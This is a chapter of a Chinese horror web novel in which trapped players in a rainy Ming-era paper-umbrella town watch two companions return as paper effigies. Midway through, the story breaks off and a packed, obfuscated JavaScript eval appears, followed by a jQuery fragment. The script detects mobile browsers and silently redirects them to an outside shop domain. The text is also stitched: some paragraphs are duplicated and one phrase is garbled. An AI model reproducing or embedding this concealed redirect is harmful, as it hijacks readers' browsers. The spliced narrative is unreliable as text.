冷雨毫无预兆倾覆而下。

    没有乌云聚集的预兆,没有惊雷滚动的前奏,前一秒古镇街巷尚且浸在一层沉闷灰白的天光里,下一秒,滂沱雨线便自厚重低垂的云层狠狠砸落。

    哗啦啦的雨声瞬间吞噬整片天地。

    细密而锋利的雨丝斜斜抽打在凹凸不平的青石板上,积水顺着石板之间蜿蜒的缝隙缓缓流淌,很快在低洼处积起一汪汪浑浊水潭。雨水敲打着两侧老屋残破的木檐,噼啪作响,老旧瓦片承不住骤然袭来的暴雨,几处破损的缺口不断淌下水帘,顺着斑驳发黑的土墙滑落,在墙根沤出一大片深色湿痕。

    九道身影毫无征兆地凭空落地,鞋底重重磕在潮湿坚硬的石面上,溅起一圈圈细碎浑浊的水花。突如其来的失重感还残留在四肢,每个人都下意识踉跄了一步,本能地抬手挡了一把扑面而来的冷雨。

    下一秒,一道毫无情绪起伏,冰冷刻板的机械系统音,同时炸响在九个人的脑海之中,不分先后,清晰得没有一丝杂音。

    【欢迎进入万象遴选副本:古俗遗残·江南纸伞镇】

    【副本等级:稀有】

    【副本时限:三日】

    【主线任务:查清纸人替命古俗畸变根源,撕碎篡改契约,焚毁本命主纸人,修正扭曲旧俗,成功存活撤离】

    【副本背景提示:明末崇祯末年,此地盛行纸人替灾之礼,然乱世祸起,旧俗渐生异变。乡民以纸偶承灾,以求一方安宁,可人心贪妄,邪术滋生,替灾化作替命,古镇自此困于无尽雨夜轮回……】

    提示音缓缓消散。

    只剩下漫天大雨喧嚣不止。

    冰冷的雨浸透衣衫,寒意顺着皮肤钻进骨头缝里,所有人站在十字街口,面面相觑。陌生的古镇延展开来,四通八达的巷道向着烟雨深处延伸,两侧是一栋栋明清式样的老宅,白墙剥落,木窗朽坏,高高的马头墙隐在白茫茫雨雾之后,望不见尽头。空气中漂浮着潮湿霉味,混着朽木、青苔与一种淡得几乎难以察觉的纸浆气息,若有若无,萦绕鼻尖。

    恐慌像投入死水的石子,一圈圈涟漪迅速在人群之中扩散开来。

    孟凯是最先做出反应的那一个。

    男人身形高大魁梧,臂膀宽厚,裸露在外的小臂布满浅浅伤疤,一看便是习惯用蛮力解决问题的类型。落地之后他便皱紧眉头,粗粝的手掌抹掉脸上流淌的雨水,眼底翻涌着焦躁。漫长无限墟境的闯关经历,让他最难以忍受这种被动困守的局面。

    “站在这里耗着没有任何用处。”孟凯抬高声音,雨声很大,他不得不刻意扬声,“副本不可能真的把我们封死在这里,镇子一定有出口,与其傻站着淋雨,不如主动去找。”

    话音落下,他不等旁人给出回应,转身迈开大步,朝着正对街口那条笔直通向镇外的巷道狂奔而去。沉重的脚步声踩碎积水,水花四下飞溅,雨帘吞没他半侧身躯。

    人群中哪位年纪尚轻的罗小宇见状,犹豫几秒,立刻快步追了上去。少年看着不过二十出头,眉眼还带着未褪干净的学生气,进入万象遴选的时间不长,骨子里好奇心远大于恐惧。

    “等等我!孟凯哥,我跟你一起!”

    两道身影一前一后扎进幽深雨巷,很快模糊在朦胧水雾之中,只剩下渐行渐远的脚步声,一点点被磅礴雨声稀释。

    场间余下七人。

    温晓下意识抱紧双臂,肩膀微微发抖。她穿着一件薄款外套,短短片刻,肩头布料已经被雨水打湿,深色水渍晕开一大片。女生脸色苍白,一双眼睛慌乱地左右张望,视线扫过每一条黑漆漆的巷口,仿佛暗处正有无数东西隔着雨幕窥视众人。她嘴唇翕动,声音细弱,带着难以掩饰的颤音。

    “我们……我们真的被困住了吗?这个地方看着好吓人,那些老房子,总感觉里面有东西在看着我们。”

    恐惧拥有极强的传染性,温晓不安的话语,让压抑的气氛又沉了几分。

    站在她身侧的许知瑶神色相对镇定许多。女生扎着简单低马尾,动作有条不紊,迅速卸下背上轻便双肩包,蹲下身,借着街角一处稍微能够遮雨的屋檐,将包里物品一件件取出来清点。打火机,少量压缩干粮,绷带,一小瓶消毒药剂,零碎的应急物件整齐摊开。雨水打湿她鬓边碎发,她却仿佛浑然不觉,一边清点一边低声开口。

    “先不要自己吓自己。现在最重要的事情是收拢信息,保存物资,找到一处临时安全点。盲目乱跑只会增加遇险概率。”

    一旁的江屹轻轻点了点头,认同这番说法。

    男人约莫四十岁上下,脸上带着风霜,是踏入万象遴选许多年的老玩家。他没有冲动奔走,也没有沉溺无端恐慌,只是双手揣在外套口袋,目光沉静地打量整座古镇格局,视线缓缓扫过交错街巷、错落老宅,谨慎评估周遭环境。

    “她说得没错。无限墟境副本,越是看上去有路的地方,往往越是陷阱。副本边界不会简简单单摆在镇口,孟凯和那个年轻人贸然冲过去,未必是明智之举。我们最好先约定好,如果一个小时之后他们还没有消息,就要做好最坏打算。”

    几人低声交谈,各自抒发着心中想法,讨论接下来的去向,人群之中,唯独靠后位置的一道身影格外安静。

    沈逾站在院墙阴影之下。

    他没有凑上前参与众人的讨论,也没有像温晓那样流露明显的惶恐。身形清瘦,微微佝偻着脊背,两只手紧紧揣在宽大外套的口袋里面,脑袋微微垂着,额前湿哒哒的碎发遮住大半眉眼。雨水落不到他大半身体,他安安静静立在角落,如同墙角一块不起眼的碎石,老实,怯懦,没有半点存在感。

    十字街口另外一端。

    祁烈和周沧站在一起。

    祁烈身姿挺拔,一身黑色劲装,雨水顺着利落下颌线滑落。他周身萦绕着一层冷硬疏离的气场,一双眼眸深邃,不动声色扫视周遭一切。只有极细微的一个侧头动作,他与身侧的周沧飞快交换了一道眼神。

    没有话语,仅仅一个对视,两个人便读懂彼此心中所想。周沧作为他最信任的副手,安静站在他身后半步距离,沉默服从,不多言,不越界。

    祁烈目光落在斜前方一栋二层砖木老宅。院门腐朽松动,门板裂开数道缝隙,院落内部能够遮挡暴雨,是眼下最优的避雨地点。他迈步朝着老宅走去,周沧紧随其后。走到院门口,祁烈抬手扶住摇摇欲坠的木门,回过头,看向街口剩下的众人,语气平淡,却带着不容置喙的强硬。

    “这座院子我们征用了。空间有限,自保优先,不接纳其他人进来。你们另寻落脚点。”

    说完这句话,不等任何人回应,二人推门而入,“吱呀”一声朽木摩擦的刺耳响动过后,院门被虚掩上,隔绝了外面漫天风雨与一众玩家。

    街口剩下温晓、许知瑶、江屹,还有缩在阴影里的沈逾。

    四个人面面相觑。

    暴雨丝毫没有减弱的迹象,露天十字街口根本不能够长久停留,冰冷雨水无休止浇淋,不消多久,所有人都会失温。

    “我们怎么办?”温晓焦虑地看向另外两人,“那栋房子不让我们进去,雨这么大,总不能一直站在这里。”

    许知瑶收好清点完毕的物资,重新拉上背包拉链,抬眼望向纵横交错的雨巷。

    “先找一处能够暂避风雨的屋檐,我们一边等孟凯他们消息,一边商量探索路线。不要深入古镇腹地,先在外围区域活动。”

    “那…那我跟着你们可以吗?”沈逾抬起头,胆怯的看向许知瑶。

    “可以,但不要鲁莽触发机制就行。”许知瑶轻轻看了一眼这个新人。

    四人一边商议,一边缓缓向着旁边一条巷道挪动。沈逾怯懦懦的跟在队伍最后面,垂着头,安安静静,一副可怜兮兮惹人、疼爱你的人的模样。

    与此同时,十字街口还余下最后一人。

    苏砚辞独自站在滂沱大雨之中。

    少年身形清挺,一身素色衣衫,细雨浸湿袖口,暗色水痕沿着布料纹路慢慢晕开。他没有走向祁烈占据的宅院,也没有加入温晓几人的小队,自始至终,都独自站在原地。

    澄澈清冷的眼眸望向雨雾深处蔓延开的古镇街巷,意识海里,【千史洞悉】缓缓启动。

    无形数据流如同细碎流光,在脑海之中无声跳动、拆解、演算。天赋能力席卷四周,挖掘这片土地深埋的过往,残破的历史片段,模糊的民俗记载,一点点在他意识之中铺展开来。

    苏砚辞的目光缓缓扫过巷道深处,掠过方才孟凯与罗小宇消失的方向,又落向不远处那栋虚掩大门的老宅,最后轻轻划过不远处那支缓缓挪动的四人小队。

    视线短暂在角落里那个名叫沈逾的清瘦身影停留一瞬,转瞬移开,看不出任何情绪波动。

    没有任何人能够看透他心底一闪而过的思索。

    疑点尚且虚无缥缈,没有半分实证,无需惊动任何人。

    苏砚辞收回目光,抬步,朝着一条无人涉足的窄巷走去。

    雨幕将他的背影慢慢裹住,孤身一人,消失在白蒙蒙的烟雨里。

    巷子里青苔湿滑,脚下每一步都要格外小心。两侧院墙很高,天空只剩下窄窄一条灰亮色,雨声被高墙收拢,显得更加沉闷。废弃民居一间挨着一间,窗棂残破,屋内黑漆漆一片,不知道隐藏着什么。偶尔有风穿过破窗,呜呜作响,像是有人低声啜泣。

    苏砚辞一路缓慢前行。

    他并不急于寻找通关线索,而是留意着墙壁石刻,门楣残存雕花,试图从这些遗留建筑细节之中拼凑明末小镇原本的样貌。副本背景提及纸人替灾古俗,一切异变根源,都藏在被篡改的旧礼之中。想要修正畸变,首先要明白,原本的习俗究竟是什么样子。

    他推开一扇没有上锁的木门。

    这是一间小小的偏屋,从前大约是镇上大户人家堆放杂物的仓房。屋内落满厚厚的灰尘,潮湿水汽侵蚀梁柱,墙角长出大片墨绿色霉斑。几张残破废纸散落在泥土地面上,被雨水从破窗吹进来,泡得发胀发皱。

    苏砚辞弯腰,小心拾起其中一张相对完整的纸片。

    纸面字迹模糊,墨水经年晕开,【千史洞悉】运转起来,数据流梳理破碎文字。

    ……七月中元,扎纸偶,绘朱砂,举火焚之,承一村灾厄……勿以生魂替,勿起贪妄心……

    寥寥几句,便是正统纸人替灾仪式片段。

    先民扎纸偶,绘朱砂符文,焚烧纸人,将灾祸寄托于无生命的纸身,以此祈求村落平安。仪式本意悲悯,并无伤生之术。

    苏砚辞拿出随身携带的薄册,借着窗外透进来微弱天光,提笔,一字一句抄录残存文字。笔尖划过纸页的沙沙声响,混杂屋外无尽雨声,狭小仓房安静得近乎诡异。

    就在这时,遥远巷道深处,一声短促凄厉的惊呼穿透雨幕传了过来。

    那声音来得极快,消失得更快,仅仅一瞬,便被哗哗大雨吞没。

    苏砚辞握笔的手顿了顿。

    他抬起头,望向门外白茫茫的雨巷。

    是孟凯,或是罗小宇。

    没有打斗巨响,没有怪物嘶吼,只有一声猝不及防的惊叫,而后,一切重归沉寂。

    苏砚辞合上薄册,收好纸笔,快步走出仓房,朝着声音传来的方向行进。

    越往镇深处走,街巷越是错综复杂。明明顺着一条直路向前,转过一个拐角,眼前景象却悄然改变,方才走过的十字街口,竟然再一次出现在面前。

    空间扭曲,道路循环。

    整座江南纸伞镇,是一座巨大的迷宫。

    等苏砚辞绕回十字街口的时候,温晓一行人也听到了那声惨叫,所有人脸色都很难看。

    “刚刚那个声音……是他们两个吗?”温晓声音发颤,手指紧紧绞着外套下摆,“他们不会出事了吧?我们要不要过去看一看?”

    “不能贸然过去。”江屹沉声制止,“我们连那边巷道里面是什么都不清楚,贸然深入,只会白白送命。”

    几人争执不下的时候,两道人影,慢悠悠从远处雨巷之中走了出来。

    是孟凯和罗小宇。

    只是此刻,他们已经不像活人。

    雨幕太密,最初只能看见两道模糊轮廓。可随着他们一步步走近,所有人的头皮都在一点点发麻。

    孟凯依旧穿着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947772|213734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那件被暴雨浸透的黑色外套,可湿衣贴在身上的轮廓却异常僵硬,像是有人把一张巨大的白纸硬撑成人形,再勉强套上了衣服。他走得极慢,每一步都落在同一节奏上,膝盖弯曲的角度分毫不差,仿佛被无形的线牵引。

    罗小宇跟在他身后,头颅微微偏斜,像是颈骨被人折断后又重新粘回原位。

    雨越下越急,两道人影终于走到能看清细节的距离。

    温晓猛地屏住了呼吸。

    孟凯的脸还在,却失去了所有活人的光泽。那不是苍白,而是一种哑光的纸白,皮肤表面覆着一层极薄的纸膜,眼窝深处没有反光,只有两片干枯的纸褶。雨水顺着他额头滑落,却没有渗进皮肤,只是在纸面上凝成水珠,一路滚到下颌,悄无声息地坠落。他嘴角还残留着一点来时的暴戾,可那笑意已经被压平,像被熨斗烫过的纸痕,死板、固定,再也变不成别的表情。

    最吓人的是他的手。

    原本宽厚粗糙的手掌垂在身侧,五指却以一种不可能的角度微蜷着,指节处没有血色,只有一圈圈淡红的折痕。雨水冲开袖口,露出手腕内侧,那里没有皮肉起伏,只有纸层被反复折叠后压出的暗红裂痕,像某种拙劣的缝合。

    罗小宇的变化更让人反胃。

    少年的脸被保留得很完整,可仔细看,会发现他左耳少了一小块,缺口边缘整齐得过分,像是被剪刀裁过。他的眼睁着,却没有焦点,瞳孔深处印着一点朱砂似的红,随着步伐轻轻晃动。有那么一瞬,他偏过脸,伞檐抬起一道缝隙,露出脖颈——那里没有活人的喉结起伏,只有一道细细的纸浆接缝,从下颌一直延伸到锁骨,苍白、僵硬,触目惊心。

    他们手中各多了一把油纸伞。

    伞面压得极低,遮住眉眼,可伞骨撑得很开,伞沿滴水的节奏竟也完全一致。雨水敲在伞面上,发出同一频率的“笃、笃、笃”,像是有人在数着他们腐烂的心跳。

    没有人看见袭击,没有人看见胁迫,没有惨烈搏斗。

    可所有人都明白,孟凯和罗小宇已经死了。

    或者说,他们被做成了另一种东西。

    两个活生生的玩家,仅仅冲进那条巷子探寻出口,短短片刻,就被这古镇悄无声息地剥掉了活气,压进纸壳里,变成了两具会走路的纸偶。

    温晓控制不住地后退一步,后背抵住冰冷潮湿的院墙,呼吸急促到几乎发疼。许知瑶脸色发白,下意识攥紧背包背带,指尖泛白。江屹眉头死死皱起,神色凝重到了极点。

    那两道纸人没有靠近,也没有攻击。

    它们只是从众人面前缓缓走过,像在执行某种早已刻进纸纹里的命令。孟凯肩头忽然轻轻一歪,半边纸膜裂开一道细缝,露出下面空瘪的纸层,却没有血,也没有肉。罗小宇路过积水时,水面倒映出他的脸,那张脸在涟漪里被揉开,像一张浸湿的旧纸,过了几秒,又重新拼回人形。

    随后,它们撑着油纸伞,继续沿着青石板街巷漫无目的地游荡,慢慢消融在一层又一层雨雾之间。

    直到那两道身影彻底消失,街口依旧没有人敢出声。

    雨水还在哗哗落下,可每个人都觉得,自己像是被什么东西隔着雨幕仔细看过一遍。那种感觉不是被怪物盯上,而是被一只无形的手轻轻摸过了骨头,记住了轮廓。

    下一个,说不定就是自己。

    在场几人浑身发冷,一股寒意顺着脊椎直冲后脑。

    没有人看见袭击,没有人看见胁迫,没有惨烈搏斗。两个活生生的玩家,仅仅只是冲进巷道探寻出口,短短片刻,就沦为了古镇之中游荡的纸偶。

    温晓控制不住地后退一步,后背抵住冰冷潮湿的院墙,呼吸急促。许知瑶脸色发白,下意识攥紧背包背带。江屹眉头死死皱起,神色凝重到了极点。

    死亡没有轰轰烈烈,它安静,诡谲,悄无声息,一念之差,便万劫不复。

    队伍后方,沈逾惊恐的看着两个人,害怕的躲在江屹身后。

    “我们不能一直留在这里。”许知瑶深吸一口气,强迫自己冷静下来,“一直停在街口只会被动等死,必须主动寻找副本线索。但是我们不要走太远,先挑选一条风险相对小一点的巷道,就近搜查老宅。”

    摆在众人面前三条岔路。

    左边巷道狭窄,墙体多处坍塌,杂草丛生;中间大道宽阔,径直通向古镇中心那座高大戏台;右侧巷弄幽深,尽头能够看见一栋气派豪门宅院,飞檐翘角,哪怕破败依旧能够窥见往日奢华。

    几个人站在岔路口,犹豫不决。

    选哪一条?没有人能够给出肯定答案,每一条幽深巷道,都仿佛张开嘴的巨兽。

    空气压抑,雨声喧嚣,争论陷入僵局。

    沈逾稍稍抬起一点头,视线望向右侧那条通往豪门老宅的巷口,声音怯生生的,十分小心翼翼。

    “那边……那栋老宅屋檐宽,可以暂时躲躲雨。说不定里面,也能找到一些线索。”

    暴雨滂沱,与其站在露天岔路口纠结,不如先找一处宽大屋檐暂避,顺带搜寻线索。

    “说得有道理,先过去避雨。”江屹权衡片刻,点头应允。

    一行人抬脚,朝着右侧幽深巷弄走去。

    沈逾跟在最后,重新埋下头颅,融进烟雨阴影之中。

    巷子深处,祁烈推开老宅二楼木窗,隔着层层雨幕,远远望着这支向着豪门旧宅行进的小队。他侧过头,对着身侧的周沧低声说了几句,雨声太大,话语模糊不清。

    周沧听完,微微颔首。

    两个人的目光,不约而同落在远处那条窄巷里,独自穿梭民居搜寻史料的苏砚辞身上。

    一个计划,悄然萌生。

    雨还在下,没有一丝停歇征兆。厚重雨帘笼罩整座江南纸伞镇,轮回的罗网,正缓缓收紧。

    苏砚辞站在一户人家剥落的院墙之下,指尖摩挲着一块刻着民俗纹样的青砖。

    他远远望见那支小队拐进右侧巷口。

    少年眉眼平静,看不出情绪,只是将那一丝细微异样,不动声色收纳心底。

    证据尚且不足,时机尚未成熟。

    不必声张。